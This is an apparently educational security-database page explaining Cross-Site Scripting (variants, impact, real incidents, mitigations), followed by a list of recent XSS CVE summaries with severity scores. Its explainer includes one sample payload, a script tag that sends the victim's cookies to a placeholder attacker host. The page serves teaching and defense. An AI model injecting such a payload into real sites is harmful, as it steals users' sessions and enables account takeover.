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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40998)

EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP Subtitle WordPress plugin before 3.4.1 adds a subtitle field and provides a shortcode to display it via [wp_subtitle]. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Subtitle
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP YouTube Live WordPress plugin before 1.8.3 does not validate, sanitise and escape various of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Youtube Live
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The BMI BMR Calculator WordPress plugin through 1.3 does not sanitise and escape arbitrary POST data before outputting it back in the response, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bmi Bmr Calculator
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The BulletProof Security WordPress plugin before 6.1 does not sanitize and escape some of its CAPTCHA settings, which could allow high-privileged users to perform Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bulletproof Security +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Custom TinyMCE Shortcode Button WordPress plugin through 1.1 does not sanitise and escape the PHP_SELF variable before outputting it back in an attribute in an admin page, leading to Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Custom Tinymce Shortcode Button
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Advanced Image Sitemap WordPress plugin through 1.2 does not sanitise and escape the PHP_SELF PHP variable before outputting it back in an attribute in an admin page, leading to Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Bulk Edit and Create User Profiles WordPress plugin before 1.5.14 does not sanitise and escape the Users Login, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bulk Edit And Create User Profiles Wp Sheet Editor
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The th23 Social WordPress plugin through 1.2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Th23 Social
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WPQA Builder Plugin WordPress plugin before 5.2, used as a companion plugin for the Discy and Himer , does not sanitise and escape the city, phone or profile credentials fields when outputting it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpqa Builder +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Gmedia Photo Gallery WordPress plugin before 1.20.0 does not sanitise and escape the Album's name before outputting it in pages/posts with a media embed, which could allow high privilege users. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gmedia Gallery +1
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Parallels +1
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Atmail
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the upload function of totaljs CMS 3.4.5 allows attackers to execute arbitrary web scripts via a JavaScript embedded PDF file. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Total Js Totaljs
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Terminalfour versions 8.3.7, 8.3.x versions prior to version 8.3.8 and r 8.2.x versions prior to version 8.2.18.5 or 8.2.18.2.1 are vulnerable to (XSS) vulnerability that could be exploited by an. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Terminalfour
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Authenticated (contributor or higher role) Cross-Site Scripting (XSS) vulnerability in Donations plugin <= 1.8 on WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Donations +2
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wn535G3 Firmware Wavlink
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Sysaid - Sysaid 14.2.0 Reflected Cross-Site Scripting (XSS) - The parameter "helpPageName" used by the page "/help/treecontent.jsp" suffers from a Reflected Cross-Site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Sysaid
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in MicroStrategy Web SDK 10.11 and earlier, allows remote unauthenticated attackers to execute arbitrary code via the fileToUpload parameter to the uploadFile. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Microstrategy +1
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in MicroStrategy Web SDK 10.11 and earlier, allows remote unauthenticated attackers to execute arbitrary code via the searchString parameter to the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Microstrategy +1
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in MicroStrategy Web SDK 10.11 and earlier, allows remote unauthenticated attackers to execute arbitrary code via the key parameter to the getESRIExtraConfig. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Microstrategy +1
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in MicroStrategy Web SDK 10.11 and earlier, allows remote unauthenticated attackers to execute arbitrary code via key parameter to the getGoogleExtraConfig. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Microstrategy +1
NVD VulDB
EPSS 43% CVSS 6.1
MEDIUM This Month

ColdFusion versions CF2021U3 (and earlier) and CF2018U13 are affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Adobe Coldfusion
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An information disclosure vulnerability exists in the web interface session cookie functionality of InHand Networks InRouter302 V3.5.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Information Disclosure Ir302 Firmware +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (xss) vulnerability exists in the info.jsp functionality of InHand Networks InRouter302 V3.5.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Inrouter302 Firmware Inhandnetworks
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Tieba-Cloud-Sign v4.9 was discovered to contain a cross-site scripting (XSS) vulnerability via the function strip_tags. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tieba Cloud Sign
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

HTMLCreator release_stable_2020-07-29 was discovered to contain a cross-site scripting (XSS) vulnerability via the function _generateFilename. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dokuwiki Fedora +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

In JetBrains TeamCity before 2022.04 potential XSS via Referrer header was possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity JetBrains
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In JetBrains TeamCity before 2022.04 reflected XSS on the Build Chain Status page was possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity JetBrains
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected Xss using url based payload in GitHub repository neorazorx/facturascripts prior to 2022.07. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Facturascripts
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Shopwind <=v3.4.2 was discovered to contain a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Shopwind
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

ZTE's ZXCDN product has a reflective XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zte Zxcdn Firmware
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

IBM QRadar SIEM 7.3 and 7.4 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Qradar Security Information And Event Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

SAP NetWeaver Application Server ABAP allows an authenticated attacker to upload malicious files and delete (theme) data, which could result in Stored Cross-Site Scripting (XSS) attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Netweaver Application Server Abap
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Web administration UI of SAP Web Dispatcher and the Internet Communication Manager (ICM) does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver As Abap Kernel +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue has been discovered in GitLab affecting all versions starting from 14.4 before 14.8.6, all versions starting from 14.9 before 14.9.4, all versions starting from 14.10 before 14.10.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Home Owners Collection Management v1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the Admin panel via the $_GET['page'] parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Home Owners Collection Management System Home Owners Collection Management System Project
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Home Owners Collection Management v1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the Admin panel via the $_GET['s'] parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Home Owners Collection Management System Home Owners Collection Management System Project
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

An Authenticated Reflected Cross-site scripting at BCC Parameter was discovered in MDaemon before 22.0.0 . Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mdaemon Altn
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

An Authenticated Reflected Cross-site scripting at CC Parameter was discovered in MDaemon before 22.0.0 . Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mdaemon Altn
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Survey Sparrow Enterprise Survey Software 2022 has a Reflected cross-site scripting (XSS) vulnerability in the test parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Enterprise Survey Software
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

Survey Sparrow Enterprise Survey Software 2022 has a Stored cross-site scripting (XSS) vulnerability in the Signup parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Enterprise Survey Software
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in Black Duck Hub’s embedded MadCap Flare documentation files could allow an unauthenticated remote attacker to conduct a cross-site scripting attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Black Duck Hub Synopsys
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP-JS plugin for WordPress contains a script called wp-js.php with the function wp_js_admin, that accepts unvalidated user input and echoes it back to the user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Stored XSS in Add New Employee Form in Sourcecodester Employee Daily Task Management System 1.0 Allows Remote Attacker to Inject/Store Arbitrary Code via the Name Field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Employee Daily Task Management System
NVD VulDB
EPSS 3% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in PHProjekt PhpSimplyGest v1.3.0 allows attackers to execute arbitrary web scripts or HTML via a project title. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Phprojekt Phpsimplygest
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Easily Generate Rest API Url WordPress plugin through 1.0.0 does not escape some of its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Easily Generate Rest Api
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Slide Anything WordPress plugin before 2.3.44 does not sanitize and escape sliders' description, which could allow high privilege users such as editor and above to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slide Anything
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Vertical scroll recent post WordPress plugin before 14.0 does not sanitise and escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Vertical Scroll Recent Post
NVD WPScan
EPSS 56% CVSS 4.8
MEDIUM POC THREAT This Month

The Popup Maker WordPress plugin before 1.16.5 does not sanitise and escape some of its Popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Popup Maker +1
NVD WPScan Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Themify Post Type Builder Search Addon WordPress plugin before 1.4.0 does not properly escape the current page URL before reusing it in a HTML attribute, leading to a reflected cross site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Post Type Builder Search Addon +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The IgniteUp WordPress plugin through 3.4.1 does not sanitise and escape some fields when high privilege users don't have the unfiltered_html capability, which could lead to Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Igniteup +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Social Buttons WordPress plugin through 2.1 does not sanitise and escape its settings, allowing high privilege users such as admin to perform cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Social Buttons +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Admin Menu Editor WordPress plugin through 1.0.4 does not sanitize and escape a parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Admin Menu Editor
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM This Month

Multiple Authenticated (admin+) Persistent Cross-Site Scripting (XSS) vulnerabilities in Adam Skaat's Countdown & Clock plugin <= 2.3.2 at WordPress via &ycd-countdown-width, &ycd-progress-height,. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Countdown Builder +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in Adam Skaat's Countdown & Clock plugin on WordPress via &ycd_type vulnerable parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Countdown Builder +2
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Adam Skaat Countdown & Clock (WordPress plugin) countdown-builder allows Stored XSS.3.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Countdown Builder +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

FUDforum 3.1.1 is vulnerable to Stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fudforum
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Dragon Path Technologies Bharti Airtel Routers Hardware BDT-121 version 1.0 is vulnerable to Cross Site Scripting (XSS) via Dragon path router admin page. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Bdt 121 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Monitoring Console app configured in Distributed mode allows for a Reflected XSS in a query parameter in Splunk Enterprise versions before 8.1.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Splunk
NVD
EPSS 1% CVSS 8.8
HIGH This Week

In Splunk Enterprise versions before 8.1.2, the uri path to load a relative resource within a web page is vulnerable to path traversal. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Path Traversal Splunk
NVD
EPSS 4% CVSS 6.1
MEDIUM POC PATCH This Month

Contao is a powerful open source CMS that allows you to create professional websites and scalable web applications. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Canonical Contao
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Auth0 is an authentication broker that supports both social and enterprise identity providers, including Active Directory, LDAP, Google Apps, and Salesforce. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Google Auth0 +1
NVD GitHub
EPSS 1% CVSS 8.8
HIGH This Week

On 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all versions of 12.1.x 11.6.x, a DOM-based cross-site. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Advanced Firewall Manager Big Ip Carrier Grade Nat +2
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, and 14.1.x versions prior to 14.1.4.6, a stored cross-site scripting (XSS) vulnerability exists in an undisclosed. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Big Ip Application Security Manager Big Ip Access Policy Manager +10
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

On F5 Traffix SDC 5.2.x versions prior to 5.2.2 and 5.1.x versions prior to 5.1.35, a stored Cross-Site Scripting (XSS) vulnerability exists in an undisclosed page of the Traffix SDC Configuration. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Traffix Signaling Delivery Controller F5
NVD
EPSS 1% CVSS 6.8
MEDIUM This Month

On all versions of 16.1.x, 15.1.x, 14.1.x, 13.1.x, 12.1.x, and 11.6.x of F5 BIG-IP, and F5 BIG-IP Guided Configuration (GC) all versions prior to 9.0, a stored cross-site scripting (XSS). Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Big Ip Application Security Manager Big Ip Access Policy Manager +11
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

On all versions of 16.1.x, 15.1.x, 14.1.x, 13.1.x, 12.1.x, and 11.6.x of F5 BIG-IP APM, and F5 BIG-IP Guided Configuration (GC) all versions prior to 9.0, a reflected cross-site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Access Policy Manager Big Ip Guided Configuration +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored xss bug in GitHub repository gogs/gogs prior to 0.12.7. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Gogs
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In LibreHealth EHR 2.0.0, lack of sanitization of the GET parameters formseq and formid in interface\orders\find_order_popup.php leads to multiple cross-site scripting (XSS) vulnerabilities. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Librehealth Ehr +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In LibreHealth EHR 2.0.0, lack of sanitization of the GET parameters debug and InsId in interface\billing\sl_eob_process.php leads to multiple cross-site scripting (XSS) vulnerabilities. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Librehealth Ehr +1
NVD GitHub
EPSS 2% CVSS 9.6
CRITICAL POC PATCH Act Now

Arbitrary Code Execution through Sanitizer Bypass in GitHub repository jgraph/drawio prior to 18.0.0. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE Code Injection +2
NVD GitHub
EPSS 1% CVSS 8.2
HIGH POC PATCH This Week

Server-Side Request Forgery in scout in GitHub repository clinical-genomics/scout prior to v4.42. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS SSRF Scout +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in Bludit 3.13.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Bludit
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The jquery.json-viewer library through 1.4.0 for Node.js does not properly escape characters such as < in a JSON object, as demonstrated by a SCRIPT element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Node.js Jquery Json Viewer
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected XSS in GitHub repository microweber/microweber prior to 1.2.16. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 5% CVSS 6.1
MEDIUM POC This Month

An XSS issue was discovered in browser_search_plugin.php in MantisBT before 2.25.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Mantisbt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the component Query.php of arPHP v3.6.0 allows attackers to execute arbitrary web scripts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Arphp
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in Web GUI of SiteManager allows logged-in user to inject scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Sitemanager 1129 Firmware Sitemanager 1139 Firmware +8
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in Web UI of Secomea GateManager allows phishing attacker to inject javascript or html into logged in user session. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gatemanager 8250 Firmware Gatemanager 9250 Firmware +3
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site scripting - Reflected in Create Subaccount in GitHub repository neorazorx/facturascripts prior to 2022.07. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Facturascripts
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

DOM XSS in microweber ver 1.2.15 in GitHub repository microweber/microweber prior to 1.2.16. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
